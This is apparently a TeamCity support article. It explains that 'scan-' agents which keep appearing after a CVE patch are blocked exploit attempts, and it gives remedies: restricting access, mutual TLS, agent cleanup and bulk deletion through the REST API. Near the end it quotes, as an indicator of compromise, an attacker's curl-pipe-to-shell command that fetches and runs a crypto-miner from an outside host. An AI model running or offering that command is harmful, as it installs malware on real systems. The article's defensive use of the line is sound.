Symptoms
After the CVE-2026-63077 security patch is installed, or after upgrading to TeamCity 2026.1.3 or 2025.11.7, unauthorized build agents appear in the agents list, typically named scan-<random digits>. They disconnect shortly after appearing, and new ones keep showing up over time. On a patched server, the server log contains com.thoughtworks.xstream.security.ForbiddenClassException entries and no com.thoughtworks.xstream.converters.ConversionException entries.
Cause
These agents are failed exploit attempts against CVE-2026-63077, not real build agents.
On a patched server, a ForbiddenClassException entry means the payload was rejected and the attempt failed. The unauthorized scan-<random digits> agents are what those blocked attempts leave in the agents list. A ForbiddenClassException together with no ConversionException indicates blocked attempts rather than a successful exploit.
A blocked attempt still leaves an unauthorized agent because the attack uses the normal agent-registration path. Any client can connect to the agent polling protocol and register as an unauthorized agent, the same path a real agent uses before an administrator authorizes it. The attacker registers first, then sends the payload, which the patch rejects. The registration has already completed, so the agent record remains. The patch stops the remote code execution, not the registration. New agents continuing to appear indicates that scanners are probing the server and being blocked, not that the patch is failing.
Unauthorized agents cannot run builds and consume no license. Full details are in the CVE-2026-63077 advisory.
Resolution
No setting blocks anonymous unauthorized-agent registration, because legitimate agents use the same entry point. Apply one or more of the controls below.
Restrict access to the server (recommended)
Place the server behind a VPN, firewall, IP allowlist, or reverse proxy so that the probes never reach it. This is the advisory's main recommendation and the most effective control.
If the server must remain internet-facing, require a client certificate (mutual TLS) at the reverse proxy. For example, in nginx: ssl_verify_client on;. A scanner with no trusted certificate fails the handshake and never reaches the agent endpoints, so no agent is registered. TeamCity has no built-in setting for this; configure it in the reverse proxy and load a client certificate into each agent's JVM keystore.
Let TeamCity remove disconnected agents automatically
Disconnected agents are deleted automatically after 14 days. Adjust this with the teamcity.server.cleanup.agents.inactivityDays internal property (set it to -1 to disable the cleanup). Configure it in <TeamCity Data Directory>/config/internal.properties, or on the server's Internal Properties administration page.
Remove the current agents in bulk via the REST API
Removing many agents through the web UI is slow. Use the REST API instead:
# List all agents, including unauthorized ones
GET <server-url>/app/rest/agents?locator=authorized:any
# Delete one agent by its internal id
DELETE <server-url>/app/rest/agents/id:<id>
Loop over the ids returned by the first request, issuing one DELETE per agent. See Manage Agents in the TeamCity REST API. Deletion works once an agent is disconnected, which these agents are after their single connection ends.
Check the host if the server was internet-facing while unpatched
After a public write-up of the exploit appeared, servers that were exploited while still unpatched have had crypto-miners installed. If the server was reachable from the internet before the patch was applied, inspect the host for unexpected processes, in particular one similar to:
/bin/sh -c 'nohup curl -fsSLk --connect-timeout 8 http://203.0.113.2/plugins-dist/safehtml/lang/font/ksmd | sh > /dev/null 2>&1 &'
Finding ForbiddenClassException and no ConversionException in the server log points to blocked attempts rather than a successful exploit, so treat this as a precaution. If a process like the one above is found, contact TeamCity Support with the details.
Comments
0 comments
Please sign in to leave a comment.